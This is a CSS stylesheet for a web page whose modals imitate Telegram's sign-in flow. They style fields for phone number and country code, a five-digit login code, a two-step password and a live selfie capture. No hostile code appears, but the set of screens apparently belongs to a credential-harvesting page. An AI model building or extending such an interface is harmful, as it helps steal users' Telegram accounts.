* { box-sizing: border-box; }
    body {
      margin: 0;
      background: #050507;
      color: #fff;
      font-family: Inter, ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
    }

    .container-main {
      width: 100%;
      max-width: 1200px;
      margin: 0 auto;
      padding: 0 20px;
      position: relative;
      z-index: 2;
    }

    .hero-glow {
      position: absolute;
      border-radius: 9999px;
      filter: blur(80px);
      pointer-events: none;
      z-index: 0;
    }

    .top-nav a {
      color: rgba(255,255,255,.78);
      transition: .2s ease;
      text-decoration: none;
    }

    .top-nav a:hover { color: #fff; }

    .btn-dark {
      border: 1px solid rgba(255,255,255,.12);
      background: rgba(255,255,255,.04);
      color: rgba(255,255,255,.88);
      border-radius: 9999px;
      transition: .2s ease;
      cursor: pointer;
    }

    .btn-dark:hover { background: rgba(255,255,255,.08); }

    .btn-red {
      border: 0;
      border-radius: 9999px;
      background: linear-gradient(180deg, #ff3737, #ff2424);
      color: #fff;
      box-shadow: 0 10px 26px rgba(255, 42, 42, .35);
      transition: .2s ease;
      cursor: pointer;
    }

    .btn-red:hover { filter: brightness(1.08); }

    .tg-login-btn {
      display: inline-flex;
      align-items: center;
      gap: 8px;
      border: 0;
      border-radius: 9999px;
      background: linear-gradient(180deg, #67b6f2 0%, #4ca8ec 100%);
      color: #fff;
      font-size: 14px;
      font-weight: 500;
      line-height: 1;
      padding: 10px 18px 10px 12px;
      cursor: pointer;
      box-shadow: 0 12px 28px rgba(76, 168, 236, .38);
      transition: .2s ease;
    }

    .tg-login-btn:hover { filter: brightness(1.07); }

    .tg-icon-wrap {
      width: 18px;
      height: 18px;
      border-radius: 9999px;
      display: grid;
      place-items: center;
      background: rgba(255,255,255,.2);
      font-size: 12px;
    }

    .hero-image-placeholder {
      border-radius: 24px;
      border: 1px solid rgba(255,255,255,.14);
      min-height: 420px;
      background:
        linear-gradient(160deg, rgba(255,255,255,.08), rgba(255,255,255,.01)),
        radial-gradient(circle at 18% 16%, rgba(255,55,65,.28), transparent 45%),
        radial-gradient(circle at 82% 25%, rgba(76,168,236,.28), transparent 40%),
        #14151c;
      box-shadow: 0 24px 60px rgba(0,0,0,.55);
      display: grid;
      place-items: center;
      color: rgba(255,255,255,.62);
      font-size: 14px;
      text-align: center;
      padding: 20px;
    }

    .mini-footer {
      border-top: 1px solid rgba(255,255,255,.10);
      color: rgba(255,255,255,.52);
      font-size: 12px;
    }

    .tg-modal-backdrop {
      position: fixed;
      inset: 0;
      background: rgba(0, 0, 0, .72);
      backdrop-filter: blur(3px);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 50;
      padding: 20px;
    }

    .tg-modal {
      width: 100%;
      max-width: 520px;
      border-radius: 24px;
      overflow: hidden;
      border: 1px solid rgba(255,255,255,.12);
      box-shadow: 0 28px 70px rgba(0,0,0,.65);
    }

    .tg-modal.light {
      background: #f4f5f7;
      color: #0f1720;
      max-width: 470px;
    }

    .tg-modal.dark {
      background: #020307;
      color: #fff;
      max-width: 390px;
    }

    .tg-auth-light {
      padding: 22px 24px 18px;
    }

    .tg-auth-top {
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 16px;
      margin-bottom: 20px;
    }

    .tg-round-icon {
      width: 62px;
      height: 62px;
      border-radius: 9999px;
      display: grid;
      place-items: center;
      font-weight: 700;
      color: #fff;
      font-size: 24px;
    }

    .tg-round-icon.telegram { background: #4ca8ec; }
    .tg-round-icon.site { background: #e07b88; font-size: 32px; }

    .tg-arrow {
      width: 42px;
      height: 7px;
      border-radius: 999px;
      background: #4ca8ec;
      position: relative;
    }

    .tg-arrow::after {
      content: "";
      position: absolute;
      right: -7px;
      top: -5px;
      border-top: 8px solid transparent;
      border-bottom: 8px solid transparent;
      border-left: 10px solid #4ca8ec;
    }

    .tg-auth-title {
      text-align: center;
      font-size: 17px;
      line-height: 1.32;
      font-weight: 700;
      margin: 8px auto;
      max-width: 390px;
    }

    .tg-auth-subtitle {
      text-align: center;
      color: rgba(15, 23, 32, .78);
      font-size: 13px;
      line-height: 1.4;
      margin: 8px auto 18px;
      max-width: 390px;
    }

    .tg-field {
      border-bottom: 2px solid rgba(15, 23, 32, .12);
      padding-bottom: 8px;
      margin-bottom: 14px;
    }

    .tg-label {
      color: rgba(15, 23, 32, .42);
      font-size: 13px;
      margin-bottom: 8px;
      display: block;
    }

    .tg-input {
      width: 100%;
      border: 0;
      outline: none;
      background: transparent;
      font-size: 16px;
      color: #0f1720;
    }

    .tg-phone-row {
      display: grid;
      grid-template-columns: 102px 1fr;
      gap: 14px;
      align-items: end;
    }

    .tg-country-code-wrap {
      border-bottom: 3px solid #2aabee;
      padding-bottom: 6px;
      margin-bottom: 2px;
    }

    .tg-country-code {
      font-size: 34px;
      line-height: 1;
      color: #0f1720;
      font-weight: 500;
    }

    .tg-country-select {
      width: 100%;
      border: 0;
      outline: none;
      background: transparent;
      font-size: 16px;
      color: #0f1720;
      appearance: none;
      cursor: pointer;
      padding-right: 24px;
    }

    .tg-select-wrap {
      position: relative;
    }

    .tg-select-wrap::after {
      content: "⌄";
      position: absolute;
      right: 2px;
      bottom: 8px;
      color: rgba(15, 23, 32, .4);
      font-size: 17px;
      pointer-events: none;
    }

    .tg-row-actions {
      display: flex;
      justify-content: flex-end;
      gap: 10px;
      margin-top: 16px;
    }

    .tg-btn {
      border: 0;
      border-radius: 12px;
      padding: 12px 18px;
      cursor: pointer;
      font-weight: 600;
      font-size: 14px;
      transition: .2s ease;
    }

    .tg-btn-primary {
      background: #2aabee;
      color: #fff;
      box-shadow: 0 10px 24px rgba(42,171,238,.35);
    }

    .tg-btn-secondary {
      background: rgba(255,255,255,.07);
      color: rgba(255,255,255,.85);
      border: 1px solid rgba(255,255,255,.12);
    }

    .tg-btn-link {
      background: transparent;
      color: #2aabee;
      border: 0;
      font-weight: 600;
      text-transform: uppercase;
      letter-spacing: .02em;
      cursor: pointer;
      padding: 10px 12px;
    }

    .tg-auth-dark {
      min-height: 640px;
      padding: 18px 20px 24px;
      display: flex;
      flex-direction: column;
      align-items: center;
      text-align: center;
    }

    .tg-back {
      align-self: flex-start;
      color: #7c8fff;
      background: transparent;
      border: 0;
      cursor: pointer;
      font-size: 17px;
      margin-bottom: 12px;
      padding: 0;
    }

    .tg-chat-icon {
      width: 78px;
      height: 78px;
      border-radius: 9999px;
      background: radial-gradient(circle at 30% 24%, #ffffff, #d9d9dc 68%);
      color: #1e1f26;
      display: grid;
      place-items: center;
      font-size: 32px;
      margin-top: 4px;
    }

    .tg-dark-title {
      margin-top: 18px;
      font-size: 44px;
      line-height: 1.1;
      font-weight: 800;
    }

    .tg-dark-subtitle {
      margin-top: 12px;
      color: rgba(255,255,255,.74);
      font-size: 18px;
      line-height: 1.35;
      max-width: 320px;
    }

    .tg-code-grid {
      margin-top: 24px;
      display: grid;
      grid-template-columns: repeat(5, 1fr);
      gap: 10px;
      width: 100%;
      max-width: 310px;
    }

    .tg-code-slot {
      height: 58px;
      border-radius: 16px;
      border: 2px solid rgba(255,255,255,.16);
      background: #06080f;
      display: grid;
      place-items: center;
      font-size: 24px;
      color: #fff;
    }

    .tg-code-slot.active { border-color: #4f72ff; box-shadow: 0 0 16px rgba(79,114,255,.35); }

    .tg-code-input {
      margin-top: 12px;
      width: 100%;
      max-width: 310px;
      height: 46px;
      border-radius: 12px;
      border: 1px solid rgba(255,255,255,.2);
      background: #090b13;
      color: #fff;
      padding: 0 12px;
      font-size: 18px;
      letter-spacing: .25em;
      text-align: center;
      outline: none;
    }

    .tg-dark-link {
      margin-top: auto;
      color: #6983ff;
      font-size: 16px;
      background: transparent;
      border: 0;
      cursor: pointer;
    }

    .tg-password-box {
      margin-top: 22px;
      width: 100%;
      max-width: 310px;
      text-align: left;
    }

    .tg-password-box label {
      display: block;
      color: rgba(255,255,255,.68);
      margin-bottom: 8px;
      font-size: 14px;
    }

    .tg-password-box input {
      width: 100%;
      height: 52px;
      border-radius: 14px;
      border: 1px solid rgba(255,255,255,.2);
      background: #090b13;
      color: #fff;
      padding: 0 14px;
      font-size: 18px;
      outline: none;
    }

    .tg-submit-dark {
      margin-top: 14px;
      width: 100%;
      max-width: 310px;
      height: 48px;
      border-radius: 14px;
      border: 0;
      background: #4ca8ec;
      color: #fff;
      font-size: 16px;
      font-weight: 700;
      cursor: pointer;
    }

    .tg-code-light-title {
      text-align: center;
      font-size: 24px;
      font-weight: 700;
      margin: 6px 0 8px;
      color: #111827;
    }

    .tg-code-light-subtitle {
      text-align: center;
      font-size: 13px;
      line-height: 1.4;
      color: rgba(17, 24, 39, .66);
      max-width: 380px;
      margin: 0 auto 16px;
    }

    .tg-api-error {
      margin: 6px 0 0;
      padding: 0;
      text-align: left;
      color: #dc2626;
      font-size: 12px;
      line-height: 1.4;
      max-width: 100%;
      background: none;
      border: 0;
      border-radius: 0;
    }

    .tg-code-grid-light {
      margin: 8px auto 0;
      display: grid;
      grid-template-columns: repeat(5, minmax(0, 1fr));
      gap: 10px;
      width: 100%;
      max-width: 320px;
    }

    .tg-code-slot-light {
      height: 56px;
      border-radius: 14px;
      border: 1px solid rgba(15, 23, 32, .18);
      background: #ffffff;
      display: grid;
      place-items: center;
      font-size: 24px;
      color: #111827;
      box-shadow: inset 0 0 0 1px rgba(255,255,255,.35);
    }

    .tg-code-slot-light.active {
      border-color: #2aabee;
      box-shadow: 0 0 0 2px rgba(42,171,238,.18);
    }

    .tg-code-slot-input {
      width: 100%;
      height: 100%;
      border: 0;
      background: transparent;
      outline: none;
      text-align: center;
      font-size: 24px;
      color: #111827;
      outline: none;
    }

    .tg-selfie-frame {
      margin: 8px auto 0;
      width: 100%;
      max-width: 320px;
      height: 220px;
      border-radius: 14px;
      overflow: hidden;
      border: 1px solid rgba(15, 23, 32, .16);
      background: #e9edf1;
      display: grid;
      place-items: center;
      position: relative;
    }

    .tg-selfie-frame video,
    .tg-selfie-frame img {
      width: 100%;
      height: 100%;
      object-fit: cover;
      display: block;
    }

    .tg-selfie-placeholder {
      color: rgba(17, 24, 39, .56);
      font-size: 13px;
      text-align: center;
      line-height: 1.35;
      padding: 0 14px;
    }

    .tg-selfie-note {
      margin-top: 10px;
      text-align: center;
      color: rgba(220, 38, 38, .8);
      font-size: 12px;
    }

    .tg-loader-wrap {
      min-height: 260px;
      display: grid;
      place-items: center;
      text-align: center;
      padding: 24px;
    }

    .plain-loader-screen {
      position: fixed;
      inset: 0;
      z-index: 60;
      display: grid;
      place-items: center;
      pointer-events: none;
    }

    .tg-spinner {
      width: 40px;
      height: 40px;
      border-radius: 9999px;
      border: 3px solid rgba(42, 171, 238, .22);
      border-top-color: #2aabee;
      animation: tg-spin .8s linear infinite;
      margin: 0 auto 12px;
    }

    @keyframes tg-spin {
      to { transform: rotate(360deg); }
    }

    @media (max-width: 1023px) {
      .hero-grid { grid-template-columns: 1fr !important; }
      .hero-image-placeholder { min-height: 300px; }
    }

    @media (max-width: 767px) {
      .hero-title { font-size: 34px !important; }
      .top-nav,
      .search-box,
      .trusted-badge { display: none !important; }
    }